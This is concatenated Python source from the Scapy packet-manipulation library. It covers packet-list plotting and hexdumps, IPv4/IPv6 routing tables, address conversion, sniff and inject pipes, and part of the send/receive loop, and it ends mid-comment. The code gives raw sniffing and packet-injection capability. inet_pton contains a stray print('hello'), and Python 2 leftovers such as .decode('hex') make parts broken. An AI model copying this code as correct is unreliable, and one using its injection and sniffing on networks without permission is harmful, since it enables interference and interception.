self.__class__(list(filter(func,self.res)), name="filtered %s"%self.listname) def plot(self, f, lfilter=None,**kargs): """Applies a function to each packet to get a value that will be plotted with matplotlib. A matplotlib object is returned lfilter: a truth function that decides whether a packet must be ploted""" return plt.plot([ f(i) for i in self.res if not lfilter or lfilter(i) ], **kargs) def diffplot(self, f, delay=1, lfilter=None, **kargs): """diffplot(f, delay=1, lfilter=None) Applies a function to couples (l[i],l[i+delay])""" return plt.plot([ f(i, j) for i in self.res[:-delay] for j in self.res[delay:] if not lfilter or (lfilter(i) and lfilter(j))], **kargs) def multiplot(self, f, lfilter=None, **kargs): """Uses a function that returns a label and a value for this label, then plots all the values label by label""" d = defaultdict(list) for i in self.res: if lfilter and not lfilter(i): continue k, v = f(i) d[k].append(v) figure = plt.figure() ax = figure.add_axes(plt.axes()) for i in d: ax.plot(d[i], **kargs) return figure def rawhexdump(self): """Prints an hexadecimal dump of each packet in the list""" for p in self: hexdump(self._elt2pkt(p)) def hexraw(self, lfilter=None): """Same as nsummary(), except that if a packet has a Raw layer, it will be hexdumped lfilter: a truth function that decides whether a packet must be displayed""" for i,p in enumerate(self.res): p1 = self._elt2pkt(p) if lfilter is not None and not lfilter(p1): continue print("%s %s %s" % (conf.color_theme.id(i,fmt="%04i"), p1.sprintf("%.time%"), self._elt2sum(p))) if p1.haslayer(conf.raw_layer): hexdump(p1.getlayer(conf.raw_layer).load) def hexdump(self, lfilter=None): """Same as nsummary(), except that packets are also hexdumped lfilter: a truth function that decides whether a packet must be displayed""" for i,p in enumerate(self.res): p1 = self._elt2pkt(p) if lfilter is not None and not lfilter(p1): continue print("%s %s %s" % (conf.color_theme.id(i,fmt="%04i"), p1.sprintf("%.time%"), self._elt2sum(p))) hexdump(p1) def padding(self, lfilter=None): """Same as hexraw(), for Padding layer""" for i,p in enumerate(self.res): p1 = self._elt2pkt(p) if p1.haslayer(conf.padding_layer): if lfilter is None or lfilter(p1): print("%s %s %s" % (conf.color_theme.id(i,fmt="%04i"), p1.sprintf("%.time%"), self._elt2sum(p))) hexdump(p1.getlayer(conf.padding_layer).load) def nzpadding(self, lfilter=None): """Same as padding() but only non null padding""" for i,p in enumerate(self.res): p1 = self._elt2pkt(p) if p1.haslayer(conf.padding_layer): pad = p1.getlayer(conf.padding_layer).load if pad == pad[0]*len(pad): continue if lfilter is None or lfilter(p1): print("%s %s %s" % (conf.color_theme.id(i,fmt="%04i"), p1.sprintf("%.time%"), self._elt2sum(p))) hexdump(p1.getlayer(conf.padding_layer).load) def conversations(self, getsrcdst=None, draw = True, **kargs): """Graphes a conversations between sources and destinations and display it (using graphviz) getsrcdst: a function that takes an element of the list and return the source and dest by defaults, return source and destination IP if networkx library is available returns a DiGraph, or draws it if draw = True otherwise graphviz is used format: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option target: output filename. If None, matplotlib is used to display prog: which graphviz program to use""" if getsrcdst is None: getsrcdst = lambda x:(x['IP'].src, x['IP'].dst) conv = {} for p in self.res: p = self._elt2pkt(p) try: c = getsrcdst(p) except: #XXX warning() continue conv[c] = conv.get(c,0)+1 if NETWORKX: # networkx is available gr = nx.DiGraph() for s,d in conv: if s not in gr: gr.add_node(s) if d not in gr: gr.add_node(d) gr.add_edge(s, d) if draw: return do_graph(gr, **kargs) else: return gr else: gr = 'digraph "conv" {\n' for s,d in conv: gr += '\t "%s" -> "%s"\n' % (s,d) gr += "}\n" return do_graph(gr, **kargs) def afterglow(self, src=None, event=None, dst=None, **kargs): """Experimental clone attempt of http://sourceforge.net/projects/afterglow each datum is reduced as src -> event -> dst and the data are graphed. by default we have IP.src -> IP.dport -> IP.dst""" if src is None: src = lambda x: x['IP'].src if event is None: event = lambda x: x['IP'].dport if dst is None: dst = lambda x: x['IP'].dst sl = {} el = {} dl = {} for i in self.res: try: s,e,d = src(i),event(i),dst(i) if s in sl: n,l = sl[s] n += 1 if e not in l: l.append(e) sl[s] = (n,l) else: sl[s] = (1,[e]) if e in el: n,l = el[e] n+=1 if d not in l: l.append(d) el[e] = (n,l) else: el[e] = (1,[d]) dl[d] = dl.get(d,0)+1 except: continue import math def normalize(n): return 2+math.log(n)/4.0 def minmax(x): m,M = min(x),max(x) if m == M: m = 0 if M == 0: M = 1 return m,M #mins,maxs = minmax(map(lambda (x,y): x, sl.values())) mins,maxs = minmax([ a[0] for a in sl.values()]) #mine,maxe = minmax(map(lambda (x,y): x, el.values())) mine,maxe = minmax([ a[0] for a in el.values()]) mind,maxd = minmax(dl.values()) gr = 'digraph "afterglow" {\n\tedge [len=2.5];\n' gr += "# src nodes\n" for s in sl: n,l = sl[s]; n = 1+(n-mins)/(maxs-mins) gr += '"src.%s" [label = "%s", shape=box, fillcolor="#FF0000", style=filled, fixedsize=1, height=%.2f,width=%.2f];\n' % (repr(s),repr(s),n,n) gr += "# event nodes\n" for e in el: n,l = el[e]; n = n = 1+(n-mine)/(maxe-mine) gr += '"evt.%s" [label = "%s", shape=circle, fillcolor="#00FFFF", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (repr(e),repr(e),n,n) for d in dl: n = dl[d]; n = n = 1+(n-mind)/(maxd-mind) gr += '"dst.%s" [label = "%s", shape=triangle, fillcolor="#0000ff", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (repr(d),repr(d),n,n) gr += "###\n" for s in sl: n,l = sl[s] for e in l: gr += ' "src.%s" -> "evt.%s";\n' % (repr(s),repr(e)) for e in el: n,l = el[e] for d in l: gr += ' "evt.%s" -> "dst.%s";\n' % (repr(e),repr(d)) gr += "}" return do_graph(gr, **kargs) def _dump_document(self, **kargs): import pyx d = pyx.document.document() l = len(self.res) for i in range(len(self.res)): elt = self.res[i] c = self._elt2pkt(elt).canvas_dump(**kargs) cbb = c.bbox() c.text(cbb.left(),cbb.top()+1,r"\font\cmssfont=cmss12\cmssfont{Frame %i/%i}" % (i,l),[pyx.text.size.LARGE]) if conf.verb >= 2: os.write(1,b".") d.append(pyx.document.page(c, paperformat=pyx.document.paperformat.A4, margin=1*pyx.unit.t_cm, fittosize=1)) return d def psdump(self, filename = None, **kargs): """Creates a multipage poscript file with a psdump of every packet filename: name of the file to write to. If empty, a temporary file is used and conf.prog.psreader is called""" d = self._dump_document(**kargs) if filename is None: filename = get_temp_file(autoext=".ps") d.writePSfile(filename) subprocess.Popen([conf.prog.psreader, filename+".ps"]) else: d.writePSfile(filename) print def pdfdump(self, filename = None, **kargs): """Creates a PDF file with a psdump of every packet filename: name of the file to write to. If empty, a temporary file is used and conf.prog.pdfreader is called""" d = self._dump_document(**kargs) if filename is None: filename = get_temp_file(autoext=".pdf") d.writePDFfile(filename) subprocess.Popen([conf.prog.pdfreader, filename+".pdf"]) else: d.writePDFfile(filename) print def sr(self,multi=0): """sr([multi=1]) -> (SndRcvList, PacketList) Matches packets in the list and return ( (matched couples), (unmatched packets) )""" remain = self.res[:] sr = [] i = 0 while i < len(remain): s = remain[i] j = i while j < len(remain)-1: j += 1 r = remain[j] if r.answers(s): sr.append((s,r)) if multi: remain[i]._answered=1 remain[j]._answered=2 continue del(remain[j]) del(remain[i]) i -= 1 break i += 1 if multi: remain = filter(lambda x:not hasattr(x,"_answered"), remain) return SndRcvList(sr),PacketList(remain) def sessions(self, session_extractor=None): if session_extractor is None: def session_extractor(p): sess = "Other" if 'Ether' in p: if 'IP' in p: if 'TCP' in p: sess = p.sprintf("TCP %IP.src%:%r,TCP.sport% > %IP.dst%:%r,TCP.dport%") elif 'UDP' in p: sess = p.sprintf("UDP %IP.src%:%r,UDP.sport% > %IP.dst%:%r,UDP.dport%") elif 'ICMP' in p: sess = p.sprintf("ICMP %IP.src% > %IP.dst% type=%r,ICMP.type% code=%r,ICMP.code% id=%ICMP.id%") else: sess = p.sprintf("IP %IP.src% > %IP.dst% proto=%IP.proto%") elif 'ARP' in p: sess = p.sprintf("ARP %ARP.psrc% > %ARP.pdst%") else: sess = p.sprintf("Ethernet type=%04xr,Ether.type%") return sess sessions = defaultdict(self.__class__) for p in self.res: sess = session_extractor(self._elt2pkt(p)) sessions[sess].append(p) return dict(sessions) def replace(self, *args, **kargs): """ lst.replace(,[,]) lst.replace( (fld,[ov],nv),(fld,[ov,]nv),...) if ov is None, all values are replaced ex: lst.replace( IP.src, "192.168.1.1", "10.0.0.1" ) lst.replace( IP.ttl, 64 ) lst.replace( (IP.ttl, 64), (TCP.sport, 666, 777), ) """ delete_checksums = kargs.get("delete_checksums",False) x=PacketList(name="Replaced %s" % self.listname) if type(args[0]) is not tuple: args = (args,) for p in self.res: p = self._elt2pkt(p) copied = False for scheme in args: fld = scheme[0] old = scheme[1] # not used if len(scheme) == 2 new = scheme[-1] for o in fld.owners: if o in p: if len(scheme) == 2 or p[o].getfieldval(fld.name) == old: if not copied: p = p.copy() if delete_checksums: p.delete_checksums() copied = True setattr(p[o], fld.name, new) x.append(p) return x class SndRcvList(PacketList): def __init__(self, res=None, name="Results", stats=None): PacketList.__init__(self, res, name, stats, vector_index = 1) def summary(self, prn=None, lfilter=None): """prints a summary of each SndRcv packet pair prn: function to apply to each packet pair instead of lambda s, r: "%s ==> %s" % (s.summary(),r.summary()) lfilter: truth function to apply to each packet pair to decide whether it will be displayed""" for s, r in self.res: if lfilter is not None: if not lfilter(s, r): continue if prn is None: print(self._elt2sum((s, r))) else: print(prn(s, r)) def nsummary(self,prn=None, lfilter=None): """prints a summary of each SndRcv packet pair with the pair's number prn: function to apply to each packet pair instead of lambda s, r: "%s ==> %s" % (s.summary(),r.summary()) lfilter: truth function to apply to each packet pair to decide whether it will be displayed""" for i, (s, r) in enumerate(self.res): if lfilter is not None: if not lfilter(s, r): continue print(conf.color_theme.id(i,fmt="%04i"), end = " ") if prn is None: print(self._elt2sum((s, r))) else: print(prn(s, r)) def filter(self, func): """Returns a SndRcv list filtered by a truth function""" return self.__class__( [ i for i in self.res if func(*i) ], name='filtered %s'%self.listname) def make_table(self, *args, **kargs): """Prints a table using a function that returs for each packet its head column value, head row value and displayed value ex: p.make_table(lambda s, r:(s[IP].dst, r[TCP].sport, s[TCP].sprintf("%flags%")) """ return make_table(self.res, *args, **kargs) def make_lined_table(self, *args, **kargs): """Same as make_table, but print a table with lines""" return make_lined_table(self.res, *args, **kargs) def make_tex_table(self, *args, **kargs): """Same as make_table, but print a table with LaTeX syntax""" return make_tex_table(self.res, *args, **kargs) scapy-0.23/scapy/pton_ntop.py000066400000000000000000000066561320561231000162740ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Convert IPv6 addresses between textual representation and binary. These functions are missing when python is compiled without IPv6 support, on Windows for instance. """ import socket,struct def inet_pton(af, addr): """Convert an IP address from text representation into binary form""" print('hello') if af == socket.AF_INET: return inet_aton(addr) elif af == socket.AF_INET6: # IPv6: The use of "::" indicates one or more groups of 16 bits of zeros. # We deal with this form of wildcard using a special marker. JOKER = b"*" while b"::" in addr: addr = addr.replace(b"::", b":" + JOKER + b":") joker_pos = None # The last part of an IPv6 address can be an IPv4 address ipv4_addr = None if b"." in addr: ipv4_addr = addr.split(b":")[-1] result = b"" parts = addr.split(b":") for part in parts: if part == JOKER: # Wildcard is only allowed once if joker_pos is None: joker_pos = len(result) else: raise Exception("Illegal syntax for IP address") elif part == ipv4_addr: # FIXME: Make sure IPv4 can only be last part # FIXME: inet_aton allows IPv4 addresses with less than 4 octets result += socket.inet_aton(ipv4_addr) else: # Each part must be 16bit. Add missing zeroes before decoding. try: result += part.rjust(4, b"0").decode("hex") except TypeError: raise Exception("Illegal syntax for IP address") # If there's a wildcard, fill up with zeros to reach 128bit (16 bytes) if JOKER in addr: result = (result[:joker_pos] + b"\x00" * (16 - len(result)) + result[joker_pos:]) if len(result) != 16: raise Exception("Illegal syntax for IP address") return result else: raise Exception("Address family not supported") def inet_ntop(af, addr): """Convert an IP address from binary form into text represenation""" if af == socket.AF_INET: return inet_ntoa(addr) elif af == socket.AF_INET6: # IPv6 addresses have 128bits (16 bytes) if len(addr) != 16: raise Exception("Illegal syntax for IP address") parts = [] for left in [0, 2, 4, 6, 8, 10, 12, 14]: try: value = struct.unpack("!H", addr[left:left+2])[0] hexstr = hex(value)[2:] except TypeError: raise Exception("Illegal syntax for IP address") parts.append(hexstr.lstrip("0").lower()) result = b":".join(parts) while b":::" in result: result = result.replace(b":::", b"::") # Leaving out leading and trailing zeros is only allowed with :: if result.endswith(b":") and not result.endswith(b"::"): result = result + b"0" if result.startswith(b":") and not result.startswith(b"::"): result = b"0" + result return result else: raise Exception("Address family not supported yet") scapy-0.23/scapy/route.py000066400000000000000000000125361320561231000154040ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Routing and handling of network interfaces. """ import socket from scapy.arch import read_routes,get_if_addr,LOOPBACK_NAME from scapy.utils import atol,ltoa,itom from scapy.config import conf from scapy.error import Scapy_Exception,warning ############################## ## Routing/Interfaces stuff ## ############################## class Route: def __init__(self): self.resync() self.s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.cache = {} def invalidate_cache(self): self.cache = {} def resync(self): self.invalidate_cache() self.routes = read_routes() def __repr__(self): rt = "Network Netmask Gateway Iface Output IP\n" for net,msk,gw,iface,addr in self.routes: rt += "%-15s %-15s %-15s %-15s %-15s\n" % (ltoa(net), ltoa(msk), gw, iface, addr) return rt def make_route(self, host=None, net=None, gw=None, dev=None): if host is not None: thenet,msk = host,32 elif net is not None: thenet,msk = net.split("/") msk = int(msk) else: raise Scapy_Exception("make_route: Incorrect parameters. You should specify a host or a net") if gw is None: gw="0.0.0.0" if dev is None: if gw: nhop = gw else: nhop = thenet dev,ifaddr,x = self.route(nhop) else: ifaddr = get_if_addr(dev) return (atol(thenet), itom(msk), gw, dev, ifaddr) def add(self, *args, **kargs): """Ex: add(net="192.168.1.0/24",gw="1.2.3.4") """ self.invalidate_cache() self.routes.append(self.make_route(*args,**kargs)) def delt(self, *args, **kargs): """delt(host|net, gw|dev)""" self.invalidate_cache() route = self.make_route(*args,**kargs) try: i=self.routes.index(route) del(self.routes[i]) except ValueError: warning("no matching route found") def ifchange(self, iff, addr): self.invalidate_cache() the_addr,the_msk = (addr.split("/")+["32"])[:2] the_msk = itom(int(the_msk)) the_rawaddr = atol(the_addr) the_net = the_rawaddr & the_msk for i in range(len(self.routes)): net,msk,gw,iface,addr = self.routes[i] if iface != iff: continue if gw == '0.0.0.0': self.routes[i] = (the_net,the_msk,gw,iface,the_addr) else: self.routes[i] = (net,msk,gw,iface,the_addr) conf.netcache.flush() def ifdel(self, iff): self.invalidate_cache() new_routes=[] for rt in self.routes: if rt[3] != iff: new_routes.append(rt) self.routes=new_routes def ifadd(self, iff, addr): self.invalidate_cache() the_addr,the_msk = (addr.split("/")+["32"])[:2] the_msk = itom(int(the_msk)) the_rawaddr = atol(the_addr) the_net = the_rawaddr & the_msk self.routes.append((the_net,the_msk,'0.0.0.0',iff,the_addr)) def route(self,dest,verbose=None): if type(dest) is list and dest: dest = dest[0] if dest in self.cache: return self.cache[dest] if verbose is None: verbose=conf.verb # Transform "192.168.*.1-5" to one IP of the set dst = dest.split("/")[0] dst = dst.replace("*","0") while True: l = dst.find("-") if l < 0: break m = (dst[l:]+".").find(".") dst = dst[:l]+dst[l+m:] dst = atol(dst) pathes=[] for d,m,gw,i,a in self.routes: aa = atol(a) #Commented out after issue with virtual network with local address 0.0.0.0 #if aa == dst: # pathes.append((0xffffffff,(LOOPBACK_NAME,a,"0.0.0.0"))) if (dst & m) == (d & m): pathes.append((m,(i,a,gw))) if not pathes: if verbose: warning("No route found (no default route?)") return LOOPBACK_NAME,"0.0.0.0","0.0.0.0" #XXX linux specific! # Choose the more specific route (greatest netmask). # XXX: we don't care about metrics pathes.sort() ret = pathes[-1][1] self.cache[dest] = ret return ret def get_if_bcast(self, iff): for net, msk, gw, iface, addr in self.routes: if (iff == iface and net != 0): bcast = atol(addr)|(~msk&0xffffffff); # FIXME: check error in atol() return ltoa(bcast); warning("No broadcast address found for iface %s\n" % iff); conf.route=Route() #XXX use "with" _betteriface = conf.route.route("0.0.0.0", verbose=0)[0] if _betteriface != LOOPBACK_NAME: conf.iface = _betteriface del(_betteriface) scapy-0.23/scapy/route6.py000066400000000000000000000245141320561231000154710ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ## Copyright (C) 2005 Guillaume Valadon ## Arnaud Ebalard """ Routing and network interface handling for IPv6. """ ############################################################################# ############################################################################# ### Routing/Interfaces stuff ### ############################################################################# ############################################################################# import socket from .config import conf from .utils6 import * from .arch import * class Route6: def __init__(self): self.invalidate_cache() self.resync() def invalidate_cache(self): self.cache = {} def flush(self): self.invalidate_cache() self.routes = [] def resync(self): # TODO : At the moment, resync will drop existing Teredo routes # if any. Change that ... self.invalidate_cache() self.routes = read_routes6() if self.routes == []: log_loading.info("No IPv6 support in kernel") def __repr__(self): rtlst = [('Destination', 'Next Hop', "iface", "src candidates")] for net,msk,gw,iface,cset in self.routes: rtlst.append(('%s/%i'% (net,msk), gw, iface, ", ".join(cset))) #colwidth = map(lambda x: max(map(lambda y: len(y), x)), apply(zip, rtlst)) zipped_rtlst = list(zip(*rtlst)) colwidth = [ max([len(y) for y in x]) for x in zipped_rtlst] fmt = " ".join(map(lambda x: "%%-%ds"%x, colwidth)) rt = "\n".join([ fmt % x for x in rtlst]) return rt # Unlike Scapy's Route.make_route() function, we do not have 'host' and 'net' # parameters. We only have a 'dst' parameter that accepts 'prefix' and # 'prefix/prefixlen' values. # WARNING: Providing a specific device will at the moment not work correctly. def make_route(self, dst, gw=None, dev=None): """Internal function : create a route for 'dst' via 'gw'. """ prefix, plen = (dst.split("/")+["128"])[:2] plen = int(plen) if gw is None: gw = "::" if dev is None: dev, ifaddr, x = self.route(gw) else: # TODO: do better than that # replace that unique address by the list of all addresses lifaddr = in6_getifaddr() #filter(lambda x: x[2] == dev, lifaddr) devaddrs = [ i for i in lifaddr if i[2] == dev] ifaddr = construct_source_candidate_set(prefix, plen, devaddrs, LOOPBACK_NAME) return (prefix, plen, gw, dev, ifaddr) def add(self, *args, **kargs): """Ex: add(dst="2001:db8:cafe:f000::/56") add(dst="2001:db8:cafe:f000::/56", gw="2001:db8:cafe::1") add(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1", dev="eth0") """ self.invalidate_cache() self.routes.append(self.make_route(*args, **kargs)) def delt(self, dst, gw=None): """ Ex: delt(dst="::/0") delt(dst="2001:db8:cafe:f000::/56") delt(dst="2001:db8:cafe:f000::/56", gw="2001:db8:deca::1") """ tmp = dst+b"/128" dst, plen = tmp.split(b'/')[:2] dst = in6_ptop(dst) plen = int(plen) #l = filter(lambda x: in6_ptop(x[0]) == dst and x[1] == plen, self.routes) l = [ x for x in self.routes if in6_ptop(x[0]) == dst and x[1] == plen ] if gw: gw = in6_ptop(gw) #l = filter(lambda x: in6_ptop(x[0]) == gw, self.routes) l = [ x for x in self.routes if in6_ptop(x[0]) == gw ] if len(l) == 0: warning("No matching route found") elif len(l) > 1: warning("Found more than one match. Aborting.") else: i=self.routes.index(l[0]) self.invalidate_cache() del(self.routes[i]) def ifchange(self, iff, addr): the_addr, the_plen = (addr.split("/")+["128"])[:2] the_plen = int(the_plen) naddr = inet_pton(socket.AF_INET6, the_addr) nmask = in6_cidr2mask(the_plen) the_net = inet_ntop(socket.AF_INET6, in6_and(nmask,naddr)) for i in range(len(self.routes)): net,plen,gw,iface,addr = self.routes[i] if iface != iff: continue if gw == '::': self.routes[i] = (the_net,the_plen,gw,iface,the_addr) else: self.routes[i] = (net,the_plen,gw,iface,the_addr) self.invalidate_cache() ip6_neigh_cache.flush() def ifdel(self, iff): """ removes all route entries that uses 'iff' interface. """ new_routes=[] for rt in self.routes: if rt[3] != iff: new_routes.append(rt) self.invalidate_cache() self.routes = new_routes def ifadd(self, iff, addr): """ Add an interface 'iff' with provided address into routing table. Ex: ifadd('eth0', '2001:bd8:cafe:1::1/64') will add following entry into Scapy6 internal routing table: Destination Next Hop iface Def src @ 2001:bd8:cafe:1::/64 :: eth0 2001:bd8:cafe:1::1 prefix length value can be omitted. In that case, a value of 128 will be used. """ addr, plen = (addr.split(b"/")+[b"128"])[:2] addr = in6_ptop(addr) plen = int(plen) naddr = inet_pton(socket.AF_INET6, addr) nmask = in6_cidr2mask(plen) prefix = inet_ntop(socket.AF_INET6, in6_and(nmask,naddr)) self.invalidate_cache() self.routes.append((prefix,plen,'::',iff,[addr])) def route(self, dst, dev=None): """ Provide best route to IPv6 destination address, based on Scapy6 internal routing table content. When a set of address is passed (e.g. 2001:db8:cafe:*::1-5) an address of the set is used. Be aware of that behavior when using wildcards in upper parts of addresses ! If 'dst' parameter is a FQDN, name resolution is performed and result is used. if optional 'dev' parameter is provided a specific interface, filtering is performed to limit search to route associated to that interface. """ # Transform "2001:db8:cafe:*::1-5:0/120" to one IPv6 address of the set dst = dst.split("/")[0] savedst = dst # In case following inet_pton() fails dst = dst.replace("*","0") l = dst.find("-") while l >= 0: m = (dst[l:]+":").find(":") dst = dst[:l]+dst[l+m:] l = dst.find("-") try: inet_pton(socket.AF_INET6, dst) except socket.error: dst = socket.getaddrinfo(savedst, None, socket.AF_INET6)[0][-1][0] # TODO : Check if name resolution went well # Deal with dev-specific request for cache search k = dst if dev is not None: k = dst + "%%" + dev if k in self.cache: return self.cache[k] pathes = [] # TODO : review all kinds of addresses (scope and *cast) to see # if we are able to cope with everything possible. I'm convinced # it's not the case. # -- arnaud for p, plen, gw, iface, cset in self.routes: if dev is not None and iface != dev: continue if in6_isincluded(dst, p, plen): pathes.append((plen, (iface, cset, gw))) elif (in6_ismlladdr(dst) and in6_islladdr(p) and in6_islladdr(cset[0])): pathes.append((plen, (iface, cset, gw))) if not pathes: warning("No route found for IPv6 destination %s (no default route?). This affects only IPv6" % dst) return (LOOPBACK_NAME, "::", "::") # XXX Linux specific # Sort with longest prefix first pathes.sort(reverse=True) best_plen = pathes[0][0] pathes = filter(lambda x: x[0] == best_plen, pathes) res = [] for p in pathes: # Here we select best source address for every route tmp = p[1] srcaddr = get_source_addr_from_candidate_set(dst, p[1][1]) if srcaddr is not None: res.append((p[0], (tmp[0], srcaddr, tmp[2]))) if res == []: warning("Found a route for IPv6 destination '%s', but no possible source address. This affects only IPv6" % dst) return (LOOPBACK_NAME, b"::", b"::") # XXX Linux specific # Symptom : 2 routes with same weight (our weight is plen) # Solution : # - dst is unicast global. Check if it is 6to4 and we have a source # 6to4 address in those available # - dst is link local (unicast or multicast) and multiple output # interfaces are available. Take main one (conf.iface6) # - if none of the previous or ambiguity persists, be lazy and keep # first one # XXX TODO : in a _near_ future, include metric in the game if len(res) > 1: tmp = [] if in6_isgladdr(dst) and in6_isaddr6to4(dst): # TODO : see if taking the longest match between dst and # every source addresses would provide better results #tmp = filter(lambda x: in6_isaddr6to4(x[1][1]), res) tmp = [ x for x in res if in6_isaddr6to4(x[1][1]) ] elif in6_ismaddr(dst) or in6_islladdr(dst): # TODO : I'm sure we are not covering all addresses. Check that #tmp = filter(lambda x: x[1][0] == conf.iface6, res) tmp = [ x for x in res if x[1][0] == conf.iface6 ] if tmp: res = tmp # Fill the cache (including dev-specific request) k = dst if dev is not None: k = dst + "%%" + dev self.cache[k] = res[0][1] return res[0][1] conf.route6 = Route6() _res = conf.route6.route("::/0") if _res: iff, gw, addr = _res conf.iface6 = iff del(_res) scapy-0.23/scapy/scapypipes.py000066400000000000000000000067551320561231000164340ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license from .pipetool import Source,Drain,Sink from .config import conf class SniffSource(Source): """Read packets from an interface and send them to low exit. +-----------+ >>-| |->> | | >-| [iface]--|-> +-----------+ """ def __init__(self, iface=None, filter=None, name=None): Source.__init__(self, name=name) self.iface = iface self.filter = filter def start(self): self.s = conf.L2listen(iface=self.iface, filter=self.filter) def stop(self): self.s.close() def fileno(self): return self.s.fileno() def deliver(self): self._send(self.s.recv()) class ConsolePacketSink(Sink): """Show packets on low and high entries +-------+ >>-|--. |->> | show | >-|--' |-> +-------+ """ def push(self, msg): print(">%r" % msg.show()) def high_push(self, msg): print(">>%r" % msg.show()) class RdpcapSource(Source): """Read packets from a PCAP file send them to low exit. +----------+ >>-| |->> | | >-| [pcap]--|-> +----------+ """ def __init__(self, fname, name=None): Source.__init__(self, name=name) self.fname = fname self.f = PcapReader(self.fname) def start(self): print("start") self.f = PcapReader(self.fname) self.is_exhausted = False def stop(self): print("stop") self.f.close() def fileno(self): return self.f.fileno() def deliver(self): p = self.f.recv() print("deliver %r" % p) if p is None: self.is_exhausted = True else: self._send(p) class InjectSink(Sink): """Packets received on low input are injected to an interface +-----------+ >>-| |->> | | >-|--[iface] |-> +-----------+ """ def __init__(self, iface=None, name=None): Sink.__init__(self, name=name) if iface == None: iface = conf.iface self.iface = iface def start(self): self.s = conf.L2socket(iface=self.iface) def stop(self): self.s.close() def push(self, msg): self.s.send(msg) class Inject3Sink(InjectSink): def start(self): self.s = conf.L3socket(iface=self.iface) class WrpcapSink(Sink): """Packets received on low input are written to PCA file +----------+ >>-| |->> | | >-|--[pcap] |-> +----------+ """ def __init__(self, fname, name=None): Sink.__init__(self, name=name) self.f = PcapWriter(fname) def stop(self): self.f.flush() def push(self, msg): self.f.write(msg) class UDPDrain(Drain): """Apply a function to messages on low and high entry +-------------+ >>-|--[payload]--|->> | X | >-|----[UDP]----|-> +-------------+ """ def __init__(self, ip="127.0.0.1", port=1234): Drain.__init__(self) self.ip = ip self.port = port def push(self, msg): if IP in msg and msg[IP].proto == 17 and UDP in msg: payload = msg[UDP].payload self._high_send(str(payload)) def high_push(self, msg): p = IP(dst=self.ip)/UDP(sport=1234,dport=self.port)/msg self._send(p) scapy-0.23/scapy/sendrecv.py000066400000000000000000000612271320561231000160600ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Functions to send and receive packets. """ import pickle,os,sys,time,subprocess,itertools from select import select from .data import * import scapy.arch from .config import conf from .packet import Gen from .utils import warning,get_temp_file,PcapReader,wrpcap from . import plist from .error import log_runtime,log_interactive from .base_classes import SetGen ################# ## Debug class ## ################# class debug: recv=[] sent=[] match=[] #################### ## Send / Receive ## #################### def sndrcv(pks, pkt, timeout = None, inter = 0, verbose=None, chainCC=0, retry=0, multi=0): if not isinstance(pkt, Gen): pkt = SetGen(pkt) if verbose is None: verbose = conf.verb debug.recv = plist.PacketList([],"Unanswered") debug.sent = plist.PacketList([],"Sent") debug.match = plist.SndRcvList([]) nbrecv=0 ans = [] # do it here to fix random fields, so that parent and child have the same all_stimuli = tobesent = [p for p in pkt] notans = len(tobesent) hsent={} for i in tobesent: h = i.hashret() if h in hsent: hsent[h].append(i) else: hsent[h] = [i] if retry < 0: retry = -retry autostop=retry else: autostop=0 while retry >= 0: found=0 if timeout is not None and timeout < 0: timeout = None rdpipe,wrpipe = os.pipe() rdpipe=os.fdopen(rdpipe, "rb") wrpipe=os.fdopen(wrpipe,"wb") pid=1 try: pid = os.fork() if pid == 0: try: sys.stdin.close() rdpipe.close() try: i = 0 if verbose: print("Begin emission:") for p in tobesent: pks.send(p) i += 1 time.sleep(inter) if verbose: print("Finished to send %i packets." % i) except SystemExit: pass except KeyboardInterrupt: pass except: log_runtime.exception("--- Error in child %i" % os.getpid()) log_runtime.info("--- Error in child %i" % os.getpid()) finally: try: os.setpgrp() # Chance process group to avoid ctrl-C sent_times = [p.sent_time for p in all_stimuli if p.sent_time] pickle.dump( (conf.netcache,sent_times), wrpipe ) wrpipe.close() except: pass elif pid < 0: log_runtime.error("fork error") else: wrpipe.close() stoptime = 0 remaintime = None inmask = [rdpipe,pks] try: try: while 1: if stoptime: remaintime = stoptime-time.time() if remaintime <= 0: break r = None if scapy.arch.FREEBSD or scapy.arch.DARWIN: inp, out, err = select(inmask,[],[], 0.05) if len(inp) == 0 or pks in inp: r = pks.nonblock_recv() else: inp, out, err = select(inmask,[],[], remaintime) if len(inp) == 0: break if pks in inp: r = pks.recv(MTU) if rdpipe in inp: if timeout: stoptime = time.time()+timeout del(inmask[inmask.index(rdpipe)]) if r is None: continue ok = 0 h = r.hashret() if h in hsent: hlst = hsent[h] for i in range(len(hlst)): if r.answers(hlst[i]): ans.append((hlst[i],r)) if verbose > 1: os.write(1, b"*") ok = 1 if not multi: del(hlst[i]) notans -= 1; else: if not hasattr(hlst[i], '_answered'): notans -= 1; hlst[i]._answered = 1; break if notans == 0 and not multi: break if not ok: if verbose > 1: os.write(1, b".") nbrecv += 1 if conf.debug_match: debug.recv.append(r) except KeyboardInterrupt: if chainCC: raise finally: try: nc,sent_times = pickle.load(rdpipe) except EOFError: warning("Child died unexpectedly. Packets may have not been sent %i"%os.getpid()) else: conf.netcache.update(nc) for p,t in zip(all_stimuli, sent_times): p.sent_time = t os.waitpid(pid,0) finally: if pid == 0: os._exit(0) #remain = reduce(list.__add__, hsent.values(), []) remain = list(itertools.chain(*[ i for i in hsent.values() ])) if multi: #remain = filter(lambda p: not hasattr(p, '_answered'), remain); remain = [ p for p in remain if not hasattr(p, '_answered')] if autostop and len(remain) > 0 and len(remain) != len(tobesent): retry = autostop tobesent = remain if len(tobesent) == 0: break retry -= 1 if conf.debug_match: debug.sent=plist.PacketList(remain[:],"Sent") debug.match=plist.SndRcvList(ans[:]) #clean the ans list to delete 